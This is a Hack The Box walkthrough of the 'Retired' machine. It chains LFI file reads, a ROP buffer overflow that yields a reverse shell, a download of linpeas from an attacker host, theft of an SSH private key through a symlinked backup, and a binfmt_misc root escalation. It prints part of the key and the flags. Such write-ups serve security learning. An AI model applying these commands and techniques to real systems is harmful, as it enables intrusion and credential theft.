HTB - Retired walkthrough
Retired box is a medium rated difficulty box, but for me personally it was a hard box. I’ve never done any sort of binary exploitation before and because of that, this box took me a good 30+ hours to solve.
I overall found this really fun, and I’m glad I did this box, as I learned a lot about binary exploitation, even if it was only a specific type.
Initial
Start with nmap scan on the remote host: 10.10.11.154
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌─[jayden@JD-Desktop]─[~/ctf/retired]
└──╼ $nmap -sC -sV -p- 10.10.11.154
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-21 22:45 AEST
Nmap scan report for 10.10.11.154
Host is up (0.015s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 77:b2:16:57:c2:3c:10:bf:20:f1:62:76:ea:81:e4:69 (RSA)
| 256 cb:09:2a:1b:b9:b9:65:75:94:9d:dd:ba:11:28:5b:d2 (ECDSA)
|_ 256 0d:40:f0:f5:a8:4b:63:29:ae:08:a1:66:c1:26:cd:6b (ED25519)
80/tcp open http nginx
| http-title: Agency - Start Bootstrap Theme
|_Requested resource was /index.php?page=default.html
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.65 seconds
Let’s checkout the webpage, which redirects us to http://10.10.11.154/index.php?page=default.html
.
This looks like a LFI (Local File Inclusion) straight away. Let’s FUZZ this and find some pages.
1
2
3
4
┌─[jayden@JD-Desktop]─[~/ctf/retired]
└──╼ $ffuf -u http://10.10.11.154/index.php?page=FUZZ.html -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -t 10 -fs 0 -s
default
beta
We can see a beta.html, which allows us to upload a license file. Intercepting the upload request through burpsuite, we can see it POST’s to activate_license.php
.
Now let’s try to leverage what appears to be this LFI, and grab the index.php
, activate_license.php
and beta.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌─[jayden@JD-Desktop]─[~/ctf/retired]
└──╼ $curl http://10.10.11.154/index.php?page=php://filter/resource=index.php
<?php
function sanitize_input($param) {
$param1 = str_replace("../","",$param);
$param2 = str_replace("./","",$param1);
return $param2;
}
$page = $_GET['page'];
if (isset($page) && preg_match("/^[a-z]/", $page)) {
$page = sanitize_input($page);
} else {
header('Location: /index.php?page=default.html');
}
readfile($page);
?>
┌─[jayden@JD-Desktop]─[~/ctf/retired]
└──╼ $curl http://10.10.11.154/index.php?page=php://filter/resource=activate_license.php --output -
<?php
if(isset($_FILES['licensefile'])) {
$license = file_get_contents($_FILES['licensefile']['tmp_name']);
$license_size = $_FILES['licensefile']['size'];
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!$socket) { echo "error socket_create()\n"; }
if (!socket_connect($socket, '127.0.0.1', 1337)) {
echo "error socket_connect()" . socket_strerror(socket_last_error()) . "\n";
}
socket_write($socket, pack("N", $license_size));
socket_write($socket, $license);
socket_shutdown($socket);
socket_close($socket);
}
?>
┌─[jayden@JD-Desktop]─[~/ctf/retired]
└──╼ $curl http://10.10.11.154/index.php?page=php://filter/resource=/proc/self/cmdline --output -
php-fpm: pool www
We have LFI, and can now look for other running processes by enumerating through /proc/PID/cmdline, and we can automate this through a quick python script that I wrote PID Scanner.
1
2
3
4
5
6
7
8
9
10
11
12
┌─[jayden@JD-Desktop]─[~/ctf/retired]
└──╼ $python pid_scanner.py
401
/usr/bin/activate_license1337
545
nginx: worker process
546
nginx: worker process
561
php-fpm: pool www
562
php-fpm: pool www
The interesting process from this output, is this PID of 401 with the cmdline of /usr/bin/activate_license 1337. Let’s pull this binary down through the LFI, try to play around with it, and then open it up through Ghidra to try and understand it.
1
2
3
4
5
6
7
8
9
10
11
12
┌─[jayden@JD-Desktop]─[~/ctf/retired]
└──╼ $curl http://10.10.11.154/index.php?page=php://filter/resource=/proc/401/exe --output activate_license
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 22536 0 22536 0 0 400k 0 --:--:-- --:--:-- --:--:-- 400
┌─[✗]─[jayden@JD-Desktop]─[~/ctf/retired]
└──╼ $./activate_license
Error: specify port to bind to
┌─[✗]─[jayden@JD-Desktop]─[~/ctf/retired]
└──╼ $./activate_license 1337
[+] starting server listening on port 1337
[+] listening …
Using pwntools we can check if there’s any quick and easy avenues on this particular binary. Which based on the output below, shows no easy wins.
1
2
3
4
5
6
7
8
┌─[✗]─[jayden@JD-Desktop]─[~/ctf/retired]
└──╼ $pwn checksec activate_license
[*] '/home/jayden/ctf/retired/activate_license'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
We can open this up in Ghidra and see what this binary is actually doing.
The main function is just setting up the socket to listen to, which we can see in activate_license.php, as it connects to a socket on port 1337. Now lets checkout the activate_license function.
Through the Ghidra screenshots we can see that in line 14 of activate_license function, it reads the first 4 bytes of this first message in the socket and updates the msglen buffer to that result.
1
sVar2 = read(sockfd,&msglen,4);
Later down on line 22 it then reads the second message from this socket, and reads msglen
length from the socket into the buffer BUT this buffer is only 512 char long. This will allow us to overflow later.
1
sVar2 = read(sockfd,buffer,(ulong)msglen);
By researching up on binary exploitation, John Hammonds Video explains the idea of ROP (Return Oriented Programming) really well. Our binary is different from this example, but we can use this as a basis point.
What we can do is look at using this overflow to then bypass the NX (No eXecute) on the stack by calling mprotect() on the stack address space, making the stack executable. An okay example of this is Bypass NX with mprotect, but the instructions skip over some steps, and dont explain enough of the steps.
But this is not enough, as we need a way to execute the stack, and that can be done with a “jmp rsp” (jump to stack pointer) and we can use the jmp rsp instructionsto execute what we put on the stack.
High Level Overview:
We need to get the address of mprotect on the stack, the return addresses to pop the parameters we want to use in mprotect() in the stack, so that mprotect() can then be executed to make the stack executable and then execute our code through a jmp rsp instruction.
First we need to find the offset, which will allow us to cleanly put what we want on the stack. This can be seen in Bypass NX with mprotect. I can see that the offset ends up being 520 bytes (convenient 512 + 8 Bytes).
Script to find offset - pwntool-test.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
pwndbg>
Temporary breakpoint 9 at 0x555555555370: file activate_license.c, line 23.
[+] reading 1000 bytes
[+] activated license: CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Thread 2.1 "activate_licens" received signal SIGSEGV, Segmentation fault.
0x00005555555555c0 in activate_license (sockfd=4) at activate_license.c:64
64 in activate_license.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────
*RAX 0x260
RBX 0x0
*RCX 0x0
*RDX 0x7ffff7b380c0 ◂— 0x7ffff7b380c0
*RDI 0x7fffffffd790 —▸ 0x7ffff7cfd090 (funlockfile) ◂— mov rdi, qword ptr [rdi + 0x88]
*RSI 0x0
*R8 0xfffffffffffffff7
*R9 0x260
*R10 0x7fffffffdd20 ◂— 0x4343434343434343 ('CCCCCCCC')
R11 0x246
R12 0x555555555220 (_start) ◂— xor ebp, ebp
R13 0x0
R14 0x0
R15 0x0
*RBP 0x4343434343434343 ('CCCCCCCC')
*RSP 0x7fffffffdf28 ◂— 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'
*RIP 0x5555555555c0 (activate_license+643) ◂— ret
──────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────
► 0x5555555555c0 <activate_license+643> ret <0x4444444444444444>
──────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdf28 ◂— 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'
... ↓ 7 skipped
────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────
► f 0 0x5555555555c0 activate_license+643
f 1 0x4444444444444444
f 2 0x4444444444444444
f 3 0x4444444444444444
f 4 0x4444444444444444
f 5 0x4444444444444444
f 6 0x4444444444444444
f 7 0x4444444444444444
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
We then just follow the same instructions as Bypass NX with mprotect but with some exceptions. We will use the libc and sqlite3 library to help us with some of the stack pops and the eventual “jmp rsp”. The likelihood that a library will have the “jmp rsp” instruction anywhere is unlikely, but luckily sqlite3 does have it.
Now let’s find these stack pops, libc address and the mprotect() address.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌─[jayden@JD-Desktop]─[~/ctf/retired]
└──╼ $gdb activate_license
Reading symbols from activate_license...
pwndbg> set args 1337
pwndbg> run
Starting program: /home/jayden/ctf/retired/activate_license 1337
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] starting server listening on port 1337
[+] listening ...
^C
Program received signal SIGINT, Interrupt.
pwndbg> p mprotect
$1 = {<text variable, no debug info>} 0x7ffff7d9dc20 <mprotect>
┌─[✗]─[jayden@JD-Desktop]─[~/ctf/retired]
└──╼ $ROPgadget --binary activate_license | grep -i "pop rdi"
0x000000000000181b : pop rdi ; ret
┌─[jayden@JD-Desktop]─[~/ctf/retired]
└──╼ $ROPgadget --binary /lib/x86_64-linux-gnu/libc-2.31.so | grep -i "pop rsi ; ret"
0x000000000002890f : pop rsi ; ret
┌─[jayden@JD-Desktop]─[~/ctf/retired]
└──╼ $ROPgadget --binary /lib/x86_64-linux-gnu/libc-2.31.so | grep -i "pop rdx ; ret"
0x00000000000cb1cd : pop rdx ; ret
┌─[jayden@JD-Desktop]─[~/ctf/retired]
└──╼ $ROPgadget --binary /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6 | grep -i "jmp rsp"
0x00000000000d431d : jmp rsp
We now have the offsets needed, but require the libc base address, libsqlite3 base address. We can grab this from running vmmap inside gdb when the process is running, and grab the first occurence of the loaded module, and that is the base address of this module on the local system.
1
2
3
4
5
6
7
8
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
....
0x7ffff7ca5000 0x7ffff7cca000 r--p 25000 0 /lib/x86_64-linux-gnu/libc-2.31.so
....
0x7ffff7e6a000 0x7ffff7e7a000 r--p 10000 0 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
....
pwndbg>
If we now execute activate_license, and run the pwntool-local.py in another terminal, then open a netcat listener shell, we will get a reverse shell back, which was executed by the activate_license binary.
1
2
3
4
5
6
┌─[✗]─[jayden@JD-Desktop]─[~/ctf/retired]
└──╼ $nc -nvlp 4444
Listening on 0.0.0.0 4444
Connection received on 127.0.0.1 50862
pwd
/home/jayden/ctf/retired
Switch back to gdb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg: loaded 198 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from activate_license…
pwndbg> set args 1337
pwndbg> run
Starting program: /home/jayden/ctf/retired/activate_license 1337
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] starting server listening on port 1337
[+] listening …
[+] accepted client connection from 0.0.0.0:0
[Attaching after Thread 0x7ffff7b380c0 (LWP 7853) fork to child process 7938]
[New inferior 2 (process 7938)]
[Detaching after fork from parent process 7853]
[Inferior 1 (process 7853) detached]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] reading 1000 bytes
[+] activated license: CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC�����
process 7938 is executing new program: /bin/dash
Now time for exploiting this on the remote machine. Since we have LFI, we can check the /proc/pid/maps to see the vmmap of the remote process, which will allow us to get the base addresses of loaded libraries, and also download those versions of the libraries (as they may be different to our local machine) and discover some ROP gadgets to chain to get our code exectution.
1
2
┌─[jayden@JD-Desktop]─[~/ctf/retired]
└──╼ $wget http://10.10.11.154/index.php?page=php://filter/resource=/usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6 -O libsqlite3.so.0.8.6
1
2
3
┌─[✗]─[jayden@JD-Desktop]─[~/ctf/retired]
└──╼ $ROPgadget --binary libsqlite3.so.0.8.6 | grep -i "jmp rsp"
0x00000000000d431d : jmp rsp
The end result ends up being this script I wrote pwntool-remote.py.
Update our reverse shell binary, point to our VPN IP, and set up a listener on port 4444, and let’s see what we get back.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌─[jayden@JD-Desktop]─[~/ctf/retired]
└──╼ $nc -nvlp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.154 52972
Upgrade to full reverse shell: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
www-data@retired:/var/www$ ls -la
total 1512
drwxrwsrwx 3 www-data www-data 4096 Jun 19 10:24 .
drwxr-xr-x 12 root root 4096 Mar 11 14:36 ..
-rw-r--r-- 1 dev www-data 505153 Jun 19 10:22 2022-06-19_10-22-01-html.zip
-rw-r--r-- 1 dev www-data 505153 Jun 19 10:23 2022-06-19_10-23-01-html.zip
-rw-r--r-- 1 dev www-data 505153 Jun 19 10:24 2022-06-19_10-24-01-html.zip
drwxrwsrwx 5 www-data www-data 4096 Mar 11 14:36 html
-rw-r--r-- 1 www-data www-data 12288 Jun 19 10:21 license.sqlite
www-data@retired:/var/www$
Success!
We got a shell on the remote box, now let’s try to enumerate more.
First thing we see is these zip files being created locally every minute. Let’s run linpeas and see if we can find anything useful.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
www-data@retired:/var/www$ ls -la
total 1512
drwxrwsrwx 3 www-data www-data 4096 Jun 22 10:29 .
drwxr-xr-x 12 root root 4096 Mar 11 14:36 ..
-rw-r--r-- 1 dev www-data 505153 Jun 22 10:27 2022-06-22_10-27-01-html.zip
-rw-r--r-- 1 dev www-data 505153 Jun 22 10:28 2022-06-22_10-28-08-html.zip
-rw-r--r-- 1 dev www-data 505153 Jun 22 10:29 2022-06-22_10-29-02-html.zip
drwxrwsrwx 5 www-data www-data 4096 Mar 11 14:36 html
-rw-r--r-- 1 www-data www-data 12288 Jun 22 10:29 license.sqlite
www-data@retired:/var/www$ wget http://10.10.14.30/linpeas.sh
--2022-06-22 10:34:54-- http://10.10.14.30/linpeas.sh
Connecting to 10.10.14.30:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 776776 (759K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[===================>] 758.57K 2.49MB/s in 0.3s
2022-06-22 10:34:54 (2.49 MB/s) - ‘linpeas.sh’ saved [776776/776776]
www-data@retired:/var/www$ chmod +x linpeas.sh
www-data@retired:/var/www$ ./linpeas.sh
╔══════════╣ Backup files (limited 100)
-rwxr-xr-x 1 root root 485 Oct 13 2021 /usr/bin/webbackup
We find an interesting file, looks like a the shell script that is outputting those files into /var/www/. And since these zip files are owned by user “dev” we can assume it’s running under the “dev” user. So let’s try and see if dev has a private SSH key.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
www-data@retired:/var/www$ cat /usr/bin/webbackup
#!/bin/bash
set -euf -o pipefail
cd /var/www/
SRC=/var/www/html
DST="/var/www/$(date +%Y-%m-%d_%H-%M-%S)-html.zip"
/usr/bin/rm --force -- "$DST"
/usr/bin/zip --recurse-paths "$DST" "$SRC"
KEEP=10
/usr/bin/find /var/www/ -maxdepth 1 -name '*.zip' -print0 \
| sort --zero-terminated --numeric-sort --reverse \
| while IFS= read -r -d '' backup; do
if [ "$KEEP" -le 0 ]; then
/usr/bin/rm --force -- "$backup"
fi
KEEP="$((KEEP-1))"
done
www-data@retired:/var/www/html$ ln -s /home/dev/.ssh/id_rsa .
┌─[jayden@JD-Desktop]─[~/ctf/retired]
└──╼ $wget http://10.10.11.154/index.php?page=php://filter/resource=/var/www/2022-06-19_12-28-01-html.zip -O html.zip
┌─[jayden@JD-Desktop]─[~/ctf/retired]
└──╼ $unzip html.zip
Archive: html.zip
inflating: var/www/html/id_rsa
┌─[jayden@JD-Desktop]─[~/ctf/retired]
└──╼ $cat var/www/html/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA58qqrW05/urHKCqCgcIPhGka60Y+nQcngHS6IvG44gcb3w0HN/yf
1
2
3
4
5
6
7
8
9
10
11
12
┌─[jayden@JD-Desktop]─[~/ctf/retired]
└──╼ $ssh -i id_rsa dev@10.10.11.154
Linux retired 5.10.0-11-amd64 #1 SMP Debian 5.10.92-2 (2022-02-28) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Mar 28 11:36:17 2022 from 10.10.14.23
dev@retired:~$ cat user.txt
554c6e854251a377cdc59e4b4d6f2cde
dev@retired:~$
User Owned!
Now let’s have a look at root. Let’s run linpeas again as the dev user and see if we can find anything.
1
2
3
4
5
6
dev@retired:/var/www$ /var/www/linpeas.sh
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rwxr-x--- 1 root dev 16864 Oct 13 2021 /usr/lib/emuemu/reg_helper
-rw-r----- 1 root dev 33 Jun 22 04:27 /home/dev/user.txt
dev@retired:~$ ls -la /usr/lib/emuemu/reg_helper
-rwxr-x--- 1 root dev 16864 Oct 13 2021 /usr/lib/emuemu/reg_helper
This reg_helper binary is interesting, let’s browse around in the “dev” users home directory. Looks like reg_helper is binary that was written/compiled on this box and we can see the source code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
dev@retired:~$ ls -la /home/dev/emuemu/
total 68
drwx------ 3 dev dev 4096 Mar 11 14:36 .
drwx------ 6 dev dev 4096 Mar 11 14:36 ..
-rw------- 1 dev dev 673 Oct 13 2021 Makefile
-rw------- 1 dev dev 228 Oct 13 2021 README.md
-rw------- 1 dev dev 16608 Oct 13 2021 emuemu
-rw------- 1 dev dev 168 Oct 13 2021 emuemu.c
-rw------- 1 dev dev 16864 Oct 13 2021 reg_helper
-rw------- 1 dev dev 502 Oct 13 2021 reg_helper.c
drwx------ 2 dev dev 4096 Mar 11 14:36 test
dev@retired:~/emuemu$ cat reg_helper.c
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
int main(void) {
char cmd[512] = { 0 };
read(STDIN_FILENO, cmd, sizeof(cmd)); cmd[-1] = 0;
int fd = open("/proc/sys/fs/binfmt_misc/register", O_WRONLY);
if (-1 == fd)
perror("open");
if (write(fd, cmd, strnlen(cmd,sizeof(cmd))) == -1)
perror("write");
if (close(fd) == -1)
perror("close");
return 0;
}
dev@retired:~/emuemu$
We can see what looks like this binfmt_misc, which will allow us to priv esc to root. Running this payload directly on the box fails, as we don’t have direct write access to “/proc/sys/fs/binfmt_misc/register”, but we do through “reg_helper”, which can be seen below, as the error it’s failing on is the write command.
1
2
3
4
dev@retired:~$ /usr/lib/emuemu/reg_helper
fdafdsafdsaf
write: Invalid argument
dev@retired:~$
All we need to do, is pass the binfmt line to the reg_helper STDIN and we will get a root shell!
Using exploit.sh we can get a root shell.
1
2
3
4
5
6
7
8
9
10
11
dev@retired:~$ vi exploit.sh
dev@retired:~$ chmod +x ./exploit.sh
dev@retired:~$ ./exploit.sh
uid=0(root) euid=0(root)
# whoami
root
# cat root.txt
cat: root.txt: No such file or directory
# cat /root/root.txt
c8a25a84ec484df4652a44291fa86c1a
#